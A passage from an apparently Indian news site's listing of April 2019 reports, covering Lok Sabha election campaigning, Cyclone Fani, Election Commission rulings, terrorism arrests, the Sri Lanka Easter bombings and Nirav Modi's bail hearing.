Ramnathapuram district on the charge that they were distributing t-shirts with the ISIS emblem. A photo showing 26 youth posing with the t-shirt in front of a Mosque at Thondi had surfaced on the social media. While the police were not able to find any direct link with the outfit, it however showed that the ISIS was gradually being received in the state. For Breaking News and Instant Updates Allow Notifications Story first published: Friday, April 26, 2019, 14:42 [IST] Congress contesting 2019 election on 1971 agenda: Jaitley India oi-Vikas SV New Delhi, Apr 26: Asserting that fake issues propagate by the Congress have evaporated, Finance Minister Arun Jaitley on Friday said the grand old party was not in tune with the times. In a Facebook post titled 'Has the Congress Thrown its Hands up?', Jaitley wrote India's social combination and economic profile has completely changed since 1971. "The Congress is contesting the 2019 election on the 1971 agenda. It is not in tune with the times. The writing on the wall is loud and clear. Those who lived a life of entitlement all through, give up when office seems to be a distant dream," said the post. Jaitley Friday said Congress President Rahul Gandhi is showing signs of desperation as the "fake" narratives built by him over the Rafale jet deal and loan waivers to business houses have evaporated. Jaitley said the desperation reached a peak when Gandhi offered four Lok Sabha seats in Delhi to the Aam Aadmi Party without realising that its chief Arvind Kejriwal was "playing games" with the Congress. [It was Priyanka Gandhi's decision not to contest from Varanasi : Sam Pitroda] "He (Gandhi) displayed the desperation of a loser," Jaitley said. The minister further claimed that going by the euphoric reaction on the ground, the Bharatiya Janata Party (BJP) would get a larger mandate in the ongoing general elections than what it had received in 2014. "Rahul Gandhi, in the last one year, built up a fake narrative on Rafale and loan waiver to business houses, which was contrary to the truth. The fake issues evaporated and now strike no chord in the electorate," he said. The "desperation of Gandhi was at a climax" when the Congress and the NCP outsourced the job of attacking Prime Minister Narendra Modi to Raj Thackeray without realising the fallout of such a move in Uttar Pradesh, Bihar and other north Indian States, Jaitley said. The 'New India' is a positive India, Jaitley said, adding it does not accept the negativism of Rahul Gandhi, Arvind Kejriwal, Mamata Banerjee and TDP. Voting for the first three rounds of the elections covering 303 Parliamentary seats are over and there is a "groundswell" for the BJP, he added. [Seeking re-election in temple town, PM Modi files nomination from Varanasi] "The Congress is in no position to effectively take on the regional parties or the BJP... The euphoric reaction at the ground suggests a mandate larger than 2014. A 65 per cent to 70 per cent approval rating for an incumbent Prime Minister is unprecedented in India," Jaitley said. The seven-phased elections will be over on May 19 and counting of votes will take place on May 23. A majority of the total 543 Lok Sabha constituencies have voted in this election. Now, all eyes are on the seats that head for polling in Phase 4 on Monday - April 29. For Breaking News and Instant Updates Allow Notifications Story first published: Friday, April 26, 2019, 23:09 [IST] Cyclone Fani draws closer, likely to hit coastal Andhra soon; red alert for Kerala, TN India oi-Madhuri Adnal Bengaluru, Apr 26: After gaining more strength, the cyclonic circulation has finally induced a low pressure area. The system is presently marked over Southeast Bay of Bengal and Equatorial Indian ocean. It continues to move west-northwest and gaining latitude. Meanwhile, the India Meteorological Department (IMD) on Friday, issued a warning to Kerala regarding Cyclone Fani, which has been brewing in the Bay of Bengal and is moving rapidly towards the southern peninsula. Tamil Nadu and Puducherry have already been issued warnings on Tuesday and Wednesday, respectively. The low pressure region, which is developing into a full-fledged cyclone, is expected to make landfall by 29 April. Red alert in Tamil Nadu as Cyclone Fani moves closer, likely to hit by April 30 According to the IMD, the cyclone is headed straight for Sri Lanka, then north-west towards Tamil Nadu, after which it is expected to change track slightly and head up the coastline of Andhra Pradesh. Fishermen have been warned not to venture into the deep seas, as the forecasts predict "rough" and "very rough" seas along the coastlines, with winds up to 100 km/h. Heavy rainfall expected across Tamil Nadu Kerala Andhra Pradesh and Kerala, which might be a boon, especially for Tamil Nadu which is suffering from water shortages. TMC delegation to meet Election Commission in Delhi today; To request for early bypolls in Bengal EC cancels suspension of IAS officer who checked PM Modi's chopper in Odisha India oi-Madhuri Adnal New Delhi, Apr 26: The Election Commission (EC) on Thursday cancelled suspension of Karnataka-cadre IAS officer Mohammed Mohsin, for checking PM Narendra Modi's helicopter in Odisha but has barred him from election duty in future. An EC official said the decision was taken on the basis of the findings of a senior official sent to Odisha. The commission has, however, asked the Karnataka government to take disciplinary action against the 1996-batch IAS officer. Should Modi address real issues rather than giving light hearted interviews to Akshay Kumar? The development comes hours after the Central Administrative Tribunal in Bengaluru stayed the EC's suspension order. According to news agency PTI, the tribunal held that while reasonable assurances of protection and security must be made available to Special Protection Group protectees, it cannot be said "they are eligible for anything and everything". The Karnataka officer was in Odisha this month as a general observer when he ordered officials to check the PM's chopper in Sambalpur on April 16. Mohsin was suspended for 'actions contrary to the instructions of the commissions regarding SPG protectees'. PM Narendra Modi movie, a hagiography more than biography, EC panel tells SC On the basis of a report from the district collector and the DIG of police, the EC has taken action against the General Observer of Sambalpur came a day after the prime minister's visit there on Tuesday. The Prime Minister was stated to have been held up at the place for around 15 minutes because of the sudden checking, the official said. Everyone knows who has issues with increasing Marriage age for women to 21: PM takes a dig at Oppn IT dept should raid even my house if there's suspicion: Modi India oi-Vikas SV Bhopal, Apr 26: Asserting that the law is equal for all, Prime Minister Narendra Modi on Friday said there should be Income Tax raids at his house too if there was a suspicion. Speaking at a rally in Sidhi, Madhya Pradesh, Pm modi was referring to raids at the homes of chief minister Kamal Nath's aides. "They ask why are raids being conducted at the Congress leaders' homes. They say 'we are Congress leaders, why are we being raided?' The law is the same for everyone," he said. "If Modi makes mistakes, there should be income tax raids at Modi's house too. The law is equal for all," he said. [Here are the details of PM Modi's assets] Furthermore, Modi came down heavily on Kamal Nath led government in Madhya Pradesh and said the Congress is supplying lesser electricity than previous Shivraj Singh Chouhan government in the state. "Congress had promised to reduce electricity bills & found a solution to do so by reducing electricity supply in your homes. Congress govt here is running on the formula of supplying lesser electricity than previous Shivraj government. Is this not betrayal," he added. For Breaking News and Instant Updates Allow Notifications Story first published: Friday, April 26, 2019, 19:49 [IST] Will always be with you to fight injustice: Rahul Gandhi to media Lok Sabha Elections 2019 updates: Anti-BJP front gains momentum, Naidu meets Sonia Gandhi India oi-Oneindia Staff By Anuj Cariappa New Delhi, May 19: Andhra Pradesh Pradesh Chief Minister N Chandrababu Naidu on Saturday met BSP chief Mayawati and Samajwadi Party president Akhilesh Yadav in Lucknow, continuing his efforts to put together a coalition to form the next government at the Centre. He reached Lucknow after meetings in New Delhi with Congress president Rahul Gandhi, CPI leaders G Sudhakar Reddy and D Raja, NCP chief Sharad Pawar and LJD leader Sharad Yadav. The Telugu Desam Party chief has already held several rounds of discussions with various opposition leaders, including TMC supremo Mamata Banerjee, AAP national convenor Arvind Kejriwal and CPI (M) general secretary Sitaram Yechury. Prime Minister Narendra Modi began his two-day visit to Uttarakhand today with a visit to Kedarnath shrine. The prime minister is also expected to offer prayers at Badrinath tomorrow before returning to Delhi in the afternoon. The prime minister's visit to the holy shrine came a day before the last phase of the marathon Lok Sabha elections. Fifty nine parliamentary constituencies, including Varanasi, will go to polls in the seventh and final phase of the Lok Sabha elections and the results will be announced four days later, on May 23. Stay tuned for the Lok Sabha elections 2019 UPDATES: NIA applies brakes on JeM expansion plan India oi-Vicky Nanjappa New Delhi, Apr 26: The National Investigation Agency has arrested two more persons in connection with a Jaish-e-Mohammad terror conspiracy case. The NIA arrested JeM terrorists Tanveer Ahmad Ganie and Bilal Mir, both residents of Pulwama in Jammu and Kashmir. The NIA court has granted seven days custody of the two accused persons. The NIA says that investigation had disclosed the duo were in touch with one Sajjad Ahmad. Southern Islamic Caliphate: A plot involving Jihadis from Sri Lanka, Tamil Nadu, Kerala Ahmad was tasked with strengthening the base of the JeM in J&K. They were told to recruit more persons into the outfit and carry out attacks. This development comes in the wake of the top leadership of the Jaish-e-Mohammad asking its over ground workers in Jammu and Kashmir to go on a recruitment spree and also set up as many launch pads as possible. After suffering heavy losses in the wake of its commanders being killed in encounters, the JeM leadership wants to start afresh in the Valley. There is a directive by the leadership to look for more recruits. Further the terror group is also planning large scale infiltrations, a top counter terror officials informed OneIndia. The downfalls of the JeM had begun in December 2018 itself. Although it struck back with the Pulwama attack, the fact is that many part of the top leadership in the Valley have been killed. The forces had in December managed to bust two important modules of the JeM in Tral and Khrew Pamper. The busting of these two modules was extremely crucial. These were the primary modules of the Jaish which were launching a series of attacks in the recent past. There was a surge in terror activity in both these areas. Following this a special team was constituted to probe cases which involved attacks on both security forces and civilians. The police say that with these modules being busted, they have managed to clear the Jaish of from Khrew Pampore and Tral. NIA questions highly radicalised women in ISIS case The Jaish, which had witnessed a surge in the Valley over the past year, has been facing considerable losses over the past month and a half. Last week, Waseem, a Jaish terrorist from Pakistan was killed in an encounter. Another Jaish terrorist, Suhail Ahmed Lone was arrested following an encounter. In October, it may be recalled the security forces had carried out a successful operation in which the nephew of the Jaish chief was killed in an encounter. The security forces gunned down Jaish terrorist Usman Haidar, who was the nephew of the outfit's chief, Maulana Masood Azhar. Another terrorist of the same outfit, identified as Showkat Ahmed was also killed the encounter at the Tral area of South Kashmir. For Breaking News and Instant Updates Allow Notifications Story first published: Friday, April 26, 2019, 14:50 [IST] TMC delegation to meet Election Commission in Delhi today; To request for early bypolls in Bengal EC declares bypolls to seven Rajya Sabha seats in six states Bypoll: EC notice to Assam minister for 'give and take' remark No 'Modi biopic' release before May 19: SC refuses to interfere with EC order India oi-Madhuri Adnal New Delhi, Apr 26: The Supreme Court on Friday refused to interfere with the the Election Commission (EC) of India order banning release of 'PM Narendra Modi' biopic. Refusing to interfere with the EC's order on 'PM Narendra Modi' biopic, the apex court said that the CBFC certificate has no relevance when EC feels its release will tilt balance in favour of one party. Earlier, the Delhi and Mumbai high courts refused to interfere with the release of the movie titled 'PM Narendra Modi.' EC cancels suspension of IAS officer who checked PM Modi's chopper in Odisha In order to ensure free and fair elections, the EC of India on Apr 25 expressed that it is of the view that the Vivek Oberoi-starrer biopic 'PM Narendra Modi' should not be released till May 19. The poll body said that delaying the release will be in the interest of free and fair Lok Sabha elections. EC on Monday had submitted its report in a sealed cover before the Supreme Court over the film following which a bench headed by Chief Justice of India, Ranjan Gogoi, posted the matter for hearing on April 26 and had directed that report be served to the petitioner (producers of the movie). On April 17, officials of the EC watched the film in a special screening on the directions of the Supreme Court. The top court had earlier asked the EC to watch the Narendra Modi biopic and submit its view to the court by April 22 in a sealed cover. PM Narendra Modi movie, a hagiography more than biography, EC panel tells SC On April 12, makers of the Oberoi-starrer had moved the apex court, challenging the stay on the film's release. The producer of the film, Sandip Singh, had said that the poll panel banned the movie without watching it. The film was scheduled to release on April 11, coinciding with the commencement of the Lok Sabha elections in the country. However, on April 10, the EC stayed the release of the biopic till national elections culminate, stating that the film disturbs the level-playing field. Chhattisgarh High Court, Bilaspur, on Thursday granted anticipatory bail to former chief minister Raman Singhs son-in-law Dr Punit Gupta in DKS Super Specialty Hospital scam. Hearing on the matter was completed on Wednesday and the judgment was reserved for the next day. The court of Justice Arvind Chandel on Thursday granted anticipatory bail to Dr Punit. Notable, an FIR was lodged against Gupta at a police station in Raipur on March 15 for allegedly misusing his post and committing financial fraud during his tenure as the superintendent of DK Super-Specialty Hospital. Incumbent Superintendent of DK Super-Specialty Hospital K.K. Sahare had filed a complaint at the Golebazar police station in Raipur, alleging irregularities to the tune of Rs 50 crore during Gupta's tenure. Sahare has mentioned in his complaint that large-scale irregularities took place when Gupta was the superintendent of the hospital from December 2015 to October 2018. Gupta has been charged under sections 420 (cheating), 467 (forgery of valuable security), 468 (forgery for purpose of cheating) and 120B (criminal conspiracy) of the Indian Penal Code. Punit was absconding since the case was filed and a look out circular was later issued by the police against him. Punit is also one of the accused in Antagarh tapes case. In that case too he had been granted an anticipatory bail by the High Court. Condolences pour in for Group Captain Varun Singh, only survivor of Gen Bipin Rawat's crash Wouldn't like to pre-empt any findings of Court of inquiry as it is a very fair process: IAF chief on chopper Post Balakot, IAF speaks of better technological asymmetry India oi-Oneindia Staff By Anuj Cariappa New Delhi, Apr 26: If the Indian Air Force (IAF) possessed high levels of "technological asymmetry", then it would have been able to inflict heavy damage on Pakistan during the adversary's unsuccessful aerial raid on February 27, according to an IAF report. The report analysed various aspects of IAF's air strike on a Jaish-e-Muhammad (JeM) terrorist training camp in Pakistan's Balakot on February 26 and the subsequent Pakistani retaliation the next day. Entire JeM team involved in Pulwama attack wiped out: All this in less than 45 days India carried out the air strike to avenge the Pulwama attack in which 40 CRPF personnel were killed. In the report, the IAF said Pakistan Air Force has been consistently enhancing its air defence and offensive capabilities since the Kargil war in 1999 and there was a need for India to bolster its "technological asymmetry" for aerial combat, official sources said sharing details from the report. At present, Pakistan has some edge with its fleet of F-16 jets with AMRAAM missile fitted with them, said an official. The sources said the planned induction of Rafale aircraft with deadly Meteor beyond-visual-range air-to-air missile (BVRAAM) and S-400 air defence missile system will provide India a significant advantage over Pakistani Air Force. "We felt we could not punish the adversaries appropriately. So we need to bolster technological asymmetry so that the enemy does not even dare to come close to the border," said a source. On the Balakot strikes, the report said the Israeli Spice 2000 precision guided munitions (PGM) fired from Mirage 2000 jets hit five out of the six designated targets in the JeM training facility. However, one Spice PGM did not leave the aircraft because of a drift in the inertial navigation system. The report said the deception used was successful as Pakistan was caught off guard despite their air force being put on highest alert. Various packages of jets flew in several directions including a fleet of Jaguars went towards Bahawalpur, a key air base of Pakistan Air Force, sources said. In the list of positives from the strike, the IAF talked about accuracy of intelligence inputs, precise selection of targets, demonstration of its ability to carry out precision strikes and its success in maintaining secrecy of the operation though over 6,000 personnel were involved in it. Pakistani military takes international media, foreign diplomats on tour of Balakot seminary In its analysis of possible areas for improvement, the IAF sought superior technological asymmetry and air defence system over Pakistan, sources said. It also talked about the need for procuring new weapons and other platforms for enhancing the IAF's overall combat capabilities. Sources said the IAF has began working on all the negative aspects mentioned in the report. Induction of Rafale jets along with Meteor beyond-visual-range missile and S-400 air defence missile system will provide India an edge over Pakistan, according to the report. India is procuring a batch of S-400 air defence system from Russia at a cost of USD 5 billion. India is also buying 36 Rafale fighter jets from France at a cost of Rs 58,000 crore. During the aerial combat of February 27, IAF pilot Abhinandan Varthaman had engaged with one of the Pakistani F-16s and shot it down before his Mig-21 Bison was downed. Varthaman was captured by Pakistan and was released after spending nearly 60 hours in Pakistani custody. The IAF had on February 28 displayed pieces of an AMRAAM missile, fired by a Pakistani F-16, as evidence to prove that Pakistan deployed the US-manufactured fighter jets during the raid. Pakistan has been claiming that it had not lost any F-16 during the February 27 dogfight. Rejecting Pakistan's claims, the IAF on April 8 released radar images as part of its "irrefutable evidence" to assert that it shot down an F-16 fighter jet of Pakistan during the aerial combat over Nowshera in Jammu and Kashmir. Pragya campaign being monitored daily from Delhi India oi-Hardeep Singh Bedi New Delhi, April 26: The campaign of Pragya Singh Thakur, Bharatiya Janata Party (BJP) candidate from Bhopal, is being monitored on a daily basis by the top saffron leadership from Delhi, say sources. Thakur, who has been pitched against senior Congress leader Digvijaya Singh, has already hit national headlines not only for her candidature but also for her statements. She has alleged that about 26/11 hero Hemant Karkare had tortured her in the detention to prove her role in 2008 Malegaon terrorist bombings. Thakur has also proudly admitted that she had participated in the demolition of Babri Masjid in Ayodhya on December 6, 1992. Cant bar Sadhvi Pragya from contesting polls: NIA court Thakur is an accused in the 2008 Malegaon terrorist bombings, and out on bail. Since she has been fielded from Bhopal, the opposition parties and a section of media have been targeting the BJP. However, the importance of Thakur for the BJP and Rashtriya Swayamsevak Sangh (RSS) could be gauged by a fact that even Prime Minister Narendra Modi had supported her candidature by saying it was a symbolic answer to all those who falsely labelled the rich Hindu civilisation as "terrorist" and asserted that "this symbol will prove costly for the Congress". Thakur has been alleging that she was tortured in the custody at the behest of the Congress-led United Progressive Alliance (UPA) government, which wanted to prove its Hindu Terror theory. According to the insiders, the BJP unit of Bhopal has been asked to send the daily report of not only Thakur's campaigning but also of Digvijaya Singh. The insider gives two reasons for this development, which has happened for the first time in Bhopal Lok Sabha elections. "Though Thakur has been contesting from Bhopal but the top saffron leadership feels that Thakur and her story can have a polarising impact not only in Madhya Pradesh but across India. Therefore, it has become a prestige issue for the BJP as well as the RSS to ensure she wins from Bhopal, where the BJP has not lost an election in the last three decades," says the insider. The BJP is presenting Thakur as a symbol of Hindutva and nationalism and she has been directed to highlight the story of her plight during her detention. It is a digital age where news cannot be confined to the newspaper pages and geographical boundaries, therefore her story is slowly and steadily polarising the Hindutva factor across India, claims the insider. FIR registered against Sadhvi Pragya Singh Thakur for poll code violation "The second reason for the daily reporting of Pragya's campaign is that the top saffron leadership is apprehensive about Congress leader Digvijaya Singh's cordial relations with the state BJP leaders, especially former chief minister Shivraj Singh Chouhan and Union Minister Narendra Singh Tomar," adds the insider. It is notable that OneIndia story titled 'Saffron leadership concerned over Digvijaya's friendship with Chouhan, Tomar ' on April 16 had described how the top BJP and RSS leadership was apprehensive that Chouhan and Tomar may help Digvijaya Singh , who was forced to contest from Bhopal due to the factionalism in the Congress. Singh was challenged by his party colleague and Madhya Pradesh Chief Minister Kamal Nath to fight from a tough seat and win to prove that he is really a tall leader. Air Pollution: You want to ban industries in Pakistan? Court asks UP govt SC directs RBI to disclose information on defaulters list, NPAs of banks under RTI India oi-Madhuri Adnal New Delhi, Apr 26: The Supreme Court on Friday ruled that Reserve Bank of India (RBI) was duty bound to disclose information related to wilful defaulters. The SC took a serious view of non-disclosure of this information by the central bank and said that any further violation would invite contempt of court proceedings. The apex court also directed the federal bank to review its policy to disclose information relating to banks under RTI. Rafale: Explained, can RTI override the Official Secrets Act? A bench headed by Justice L Nageswara Rao directed the federal bank to review its policy to disclose information relating to banks under RTI, saying it is 'duty bound' under the law. The bench, which did not go ahead with contempt proceedings against the RBI, made it clear that it was giving a last opportunity to it to comply with provisions of the transparency law. "Any further violation shall be viewed seriously," the bench said. In January this year, the top court had issued contempt notice to RBI for not disclosing annual inspection report of banks under RTI. Earlier, the apex court and the Central Information Commission (CIC), both had held that the RBI cannot deny information to an information seeker under the transparency law unless the material is exempted from disclosure under the law. The RBI, in its defence, had said that it cannot disclose information as the annual inspection report of the bank contained "fiduciary" information as defined under the transparency law. The bench was hearing a contempt petition filed by RTI activist S C Agrawal against the RBI. (with PTI inputs) For Breaking News and Instant Updates Allow Notifications Story first published: Friday, April 26, 2019, 12:09 [IST] Weather forecast: Cyclone Fani to bring light rains likely in Chennai, coastal Andhra India oi-Madhuri Adnal New Delhi, Apr 26: The well marked low pressure area has further intensified into depression over Southeast Bay of Bengal and adjoining Equatorial Bay of Bengal. Now, let us have a look at the weather forecast for Bengaluru, Delhi, Gujarat and Chennai on April 27. Bengaluru: In the last 24 hours, as predicted by weatherman a partly cloudy sky in and around the city for the day. The mercury levels in the city are expected to be between 23 and 35 degree Celsius respectively. However, the residents of Bengaluru will witness partly cloudy weather on April 25. According to The Weather Channel, Bengaluru skies will remain generally cloudy. These changes are due to the persisting trough over southern India and the convergence of winds from the Bay of Bengal and the Arabian Sea over the region. However, Bengalureans would witness mostly sunny weather with patchy clouds. The maximum temperature will be hovering around 37 degree Celsius. Cyclone Fani draws closer, likely to hit coastal Andhra soon; red alert for Kerala, TN Delhi: Dry weather condition is prevailing in entire NCR region since April 18. However, some light dust storm activities did occur in parts of Delhi-NCR during the later part of the day yesterday. According to Skymet Weather, dry weather conditions to continue over Delhi and its adjoining areas for the next four to five days. However, no relief is in sight for the people of Delhi as maximum temperature is likely to settle close to 40C in most parts of the city. Sky will remain almost clear with bright sunshine. Heat wave conditions will also be experienced in Delhi-NCR over the next few days. Himachal Pradesh and Jammu an Kashmir: A fresh Western Disturbance is affecting Jammu and Kashmir and Himachal Pradesh since the last two days, which is giving rains and thundershower over these areas. This is an active Western Disturbance affecting the hills after a gap of about one week or so. However, by tomorrow, the Western Disturbance will move away eastwards leading to significant decrease in rains and the weather will start clearing up. The day temperatures which have dropped by about 4 to 5C, will once again rise. Chennai: Chennai may see heavy to very heavy rain as Cyclone Fani makes its way towards the city. The Indian Meteorological Department (IMD) has issued a red alert for Tamil Nadu and Puducherry as the tropical cyclone whirls its way towards the coast. The cyclone is likely to hit Sri Lanka first, and make landfall in Chennai and rest of Tamil Nadu between 29 April and 1 May. Heavy rains and strong winds are forecast for coastal Tamil Nadu coastal during these days. According to Skymet weather, possibilities are there that the system is most likely to re-curve towards Bangladesh and avoid hitting Tamil Nadu, but even in that case it would skirt the East Coast of India. Beginning right from Tamil Nadu to West Bengal, Fani would bring light to moderate rains and thundershowers. Chennai would also stands a chance to see some intense showers during this time. For Breaking News and Instant Updates Allow Notifications Story first published: Friday, April 26, 2019, 18:14 [IST] Sri Lanka won't be allowed to be used for 'any activity' against India: President Rajapaksa Calculation error: Sri Lanka lowers death toll in suicide blasts from 359 to 253 International oi-Oneindia Staff By Anuj Cariappa Colombo, Apr 26: Sri Lanka has revised the death toll from the Easter Sunday blasts by more than 100, to "about 253", according to the Health Ministry. Authorities earlier said that nine suicide bombers, believed to be members of local Islamist extremist group called National Thowheed Jamath (NTJ), carried out the devastating blasts that killed 359 people and wounded more than 500 others. However, Dr Anil Jasinghe, the Director-General of the Health Services, said the larger death toll was released as a result of a calculation error. "The approximate total of the dead would be 253 and not 359 as reported in media," he said. Dr Jasinghe said that at least 485 injured were admitted to six hospitals throughout the country. "By 10 a.m. today, the casualty number at hospitals has been reduced to 149. Only 6 had died in hospitals," Dr Jasinghe said. Countries that faced terror attack on religious institutions since 2000 On April 22, an estimated figure of 280 dead was released. "As it was not easy to count the correct number of dead due to extensive damages suffered in some cases, the figures issued were all approximate numbers," he said. Dr Jasinghe said that those who died in the three hotel blasts were mostly beyond recognition as their body parts had suffered comparatively more damages than those who died at church blasts. Meanwhile, the Foreign Ministry said the number of foreigners killed has risen to 40, including 11 Indians. Sri Lanka won't be allowed to be used for 'any activity' against India: President Rajapaksa Sri Lankan human trafficking case: Victims were lured with promise of jobs in Canada Colombo bombings: Photographs of suspects released International oi-Oneindia Staff By Anuj Cariappa Colombo, Apr 26: Sri Lanka has released photographs of six suspects, including three women, wanted for their involvement in the deadly Easter attacks that killed nearly 250 people. Police have intensified search and arrested 16 people, taking the number of those in custody to 76. Nine suicide bombers, believed to be the members of local terror group called National Thowheed Jamath (NTJ), carried out a series of devastating blasts that tore through three churches and three luxury hotels on Easter Sunday. Police today released the names and pictures of the suspects and sought information regarding them from public. Many of the arrested people have suspected links to the NTJ, the group blamed for the bombings. However, ISIS has claimed responsibility for the attacks and identified suicide bombers who carried out the devastating blasts. Ambulances arrive at a hospital in Sri Lanka's capital Colombo after a string of bomb blasts hit churches and hotels in the city and the death toll rises to 156, including 35 foreigners, say police. Calcualation error: Sri Lanka lowers death toll in suicide blasts from 359 to 253 Authorities have deployed thousands of troops to help police carry out search operations. Over 5,000 army personnel have been deployed around the country. "During the last 24 hours, there have been no major incidents. We have deployed over 6,300 troops. This includes 1,000 from the Airforce and 600 from the Navy," military spokesman Brigadier Sumith Atapattu said. Today, a minor explosion happened behind the magistrate's court in Pugoda, 40 Kms north of Colombo. The police said that the explosion occurred in a garbage dump and that there were no injuries. A probe has been launched to ascertain the cause. Search operations of suspected properties, arrests and detention of people and to place road blocks for such operations have been facilitated by the newly-enforced emergency regulations. The regulations were adopted without a vote in Parliament on Wednesday. The curfew will be imposed at 10 PM. Malcolm Cardinal Ranjith, the head of the local catholic church, has asked all churches to stop masses until the situation improved, his office said. On Wednesday, the Sri Lankan government admitted that "major" intelligence lapses led to the horrific coordinated attacks. For Breaking News and Instant Updates Allow Notifications Story first published: Friday, April 26, 2019, 6:23 [IST] Nirav Modi's bail rejected for the third time International oi-Vikas SV London, Apr 26: A UK court on Friday rejected the third bail plea of fugitive diamantaire Nirav Modi. Nirav Modi is wanted by the authorities in India for alleged fraud and money laundering charges amounting to an estimated USD 2 billion. UK's Westminster Magistrates' Court on March 29 rejected the second bail plea of fugitive diamantaire Nirav Modi How Nirav Modi was tracked down and arrested The 48-year-old, who has been behind bars at Wandsworth prison in south-west London since his arrest last month, appeared before Westminster Magistrates' Court Chief Magistrate Emma Arbuthnot via videolink from the jail today. He was further remanded into custody till May 24. On March 20, Nirav Modi was arrested in London and produced in Westminister Court, which denies him bail. Westminister Court in London had on March 18 issued arrest warrant against fugitive Nirav Modi after the Indian government request was forwarded to the court by the UK Home Office. Chronology of fugitive diamantaire Nirav Modi's case Nirav Modi was arrested from a Metro Bank branch in London by uniformed officers on March 20 when he went there to open a new bank account. A bank clerk alerted Scotland Yard as a result of the "high publicity" surrounding the case and Metropolitan Police officers arrived to execute the arrest. This over-rode a previous arrangement made between Scotland Yard's extradition unit and Nirav Modi's lawyers for him to surrender "by appointment" at a central London police station, something his legal team blamed on the "nature of publicity" surrounding the case. For Breaking News and Instant Updates Allow Notifications Story first published: Friday, April 26, 2019, 17:10 [IST] Minor blast near Israeli Embassy in Delhi; security beefed up across states Embassy blast: Role of Jaish-ul-Hind under scanner, but it could be a false flag Embassy blast: Dump date of mobile calls under examination, agencies yet to identify suspect Bengaluru: Two workers from Bihar killed, three injured after boiler blast at food factory in Magadi road At least 15 Killed as Blasts, Gunfire Hit Kabul Military Hospital, Official Says UK: 3 blast reported at Tata Steel plant in Port Talbot; 2 injured International oi-Madhuri Adnal London, Apr 26: Two people have been injured after at least three blasts were reported at Tata Steelworks plant in Port Talbot, South Wales town in the United Kingdom on Friday, according to reports. People living nearby the plant called the police after the explosions shook housed and knocked people down. Tata Steel confirmed that an incident had taken place at the plant and said all fires are now under control and that no serious injuries were reported the plant. Sri Lanka: Minor blast in Pugoda town near Colombo, no casualties Meanwhile, South Wales Police department said they are aware of an incident in TATA Steelworks plant. "Emergency services are in attendance and further information will be released shortly. Thank you for your patience," said the department in a tweet. Latest update to TATA Steelworks incident: At this time we believe only two casualties with minor injuries Please avoid the area at this time Full statement ^CD pic.twitter.com/ohmEKkaCpT South Wales Police (@swpolice) April 26, 2019 More than 4,000 people work at the steelworks - which sits at the heart of the local economy. For Breaking News and Instant Updates Allow Notifications Story first published: Friday, April 26, 2019, 9:43 [IST] Delhi: Two members of 'Thak-Thak' gang held New Delhi pti-PTI New Delhi, Apr 26: Two suspected members of the "Thak-Thak" gang, including a juvenile, were apprehended from south Delhi and an amount of nearly Rs 50 lakh was recovered from them, police said on Friday. One of the accused was identified as P Vikash (24), a resident of Inderpuri, and the other was a juvenile, they added. An amount of Rs 49.51 lakh and a scooter were seized from their possession, the police said. On April 18, a resident of Greater Kailash-II in south Delhi lodged a police complaint, wherein he stated that he was on his way home in his Audi car from his factory situated at the Narayana Industrial area. As he reached near the Seema Sadak Bhawan on Ring Road, two motorcycle-borne persons punctured his car's rear tyre, Deputy Commissioner of Police (south) Vijay Kumar said. After some time, three men came on a scooter and drew the complainant's attention to the deflated tyre. Subsequently, as the complainant, his driver and servant got busy changing the tyre, one of the accused took a bag containing Rs 51 lakh in cash from the car and fled, the officer said. [Delhi: Sharpshooters of Neeraj Bawana gang arrested] The accused were nabbed on Thursday following a tip-off that they were seen in the Madangir area with the stolen bag, the DCP said. Vikash, his associates Sunil, Rohit, Deepak and the juvenile used to roam around in two groups on motorcycles. They primarily used to target luxury cars. One group used to puncture a tyre of the car with a sharp object. As the driver or owner of the car got out of the vehicle to check the tyre, one of the gang members would take away the valuables from the car, the officer said. PTI Haryana chief electoral officer Rajeev Ranjan on Thursday directed all the district election officers to ensure that no star campaigner or politician violates the model code of conduct (MCC). If such case comes to their notice, then they should immediately issue notice and send the information of the matter to the Election Commission of India, he said. He said that the information related to violation of model code of conduct should be given to the Commission. Apart from this, the returning officer would also have to tell about source of that information. He clarified that returning officer and district election officer could also issue notice in cases of violation of code of conduct. While resolving such cases, they must pay special attention to the time and quality of settlement of such cases. The star campaigner or politician must use modest language while complying with the model code of Conduct. If any MCC violation is found and after issuing notice to that individual if the returning officer and district election officers are satisfied with his reply and drop out the matter, even then it is mandatory to upload all its documents on the Commission's website, he added. Hitting out at Congress, Bharatiya Janata Party national president Amit Shah said that 3G in Congress was centered around a dynasty comprising Sonia Gandhi, Rahul Gandhi and Priyanka Gandhi, while in the BJP, 3G meant development of Gaon (village), Ganga and Gau (cow). Addressing a series of election meetings in Ghazipur, Unnao and Auraiya, Shah said that Congress had made 3G a part of the family and for it the family comes first while for BJP, 3G centred around development. We have a Prime Minister who thinks about people and formulates policies for development. This is reflected in our election manifesto which talks about development of all sectors, including farm, industry and manufacturing, Shah said, stressing on the policies of the NDA government. He said during the last five years, Modiji had made it clear that no one could take India for granted any more. Shah claimed that the opposition leaders could not look after the countrys security. He said that BSP supremo Mayawati and her Samajwadi Party and Congress counterparts, Akhilesh Yadav and Rahul Gandhi, respectively, were upset with the Balakot air strikes. What happened in Balakot is now history. When Indian Air Force carried out the airstrike, gloom descended on two places, one in Pakistan and the other in the offices of the Congress, Samajwadi Party and the Bahujan Samaj Party. I do not know why they looked sad? Is it because their relatives were killed in that attack? he asked, adding that the opposition could have soft corner of the terrorists but Modi had made it clear that if Pakistan fired a bullet India would fire a bomb. Shah said that there were some leaders who wanted a separate prime minister for Kashmir and they belonged to that party whose leaders had chanted Pakistan zindabad. Congress is silent on these leaders. Not even Bua and Bhatija are talking about it. This clearly shows that these leaders have pro-Pakistan leaning, the BJP chief said. Shah in all his speeches talked about achievements of the Modi government and how people stood benefitted by them. The response of the people made it clear that they again want to see Modiu as the next prime Minister of the country. In Ghazipur, Shah said that BJP ideologue Pt Deen Dayal Upadhyaya had said that when the party wins Ghazipur, we will form government at the centre and in 2014. this happened. Manoj Sinha won election from Ghazipur and BJP formed majority government at the Centre., Shah said, and added, This time too BJP will form government because the party is going to win Ghazipur seat with a massive votes. Four women politicians and sitting MLAs in the Haryana Assembly, each from an influential political family in the state, are leaving no stone unturned to ensure that their children taste success in the high-octane electoral battle. As people of Haryana gears up to vote on all 10 Lok Sabha constituencies on May 12, four prominent women legislators in the state are busy holding campaign programmes that run till late evenings, to give wholehearted support to their son or daughter in the multi-cornered poll contest in the state. These women legislators include BJPs Prem Lata, MLA from Uchana Kalan assembly segment, Jannayak Janta Partys Naina Chautala from Dabwali assembly constituency, Congress 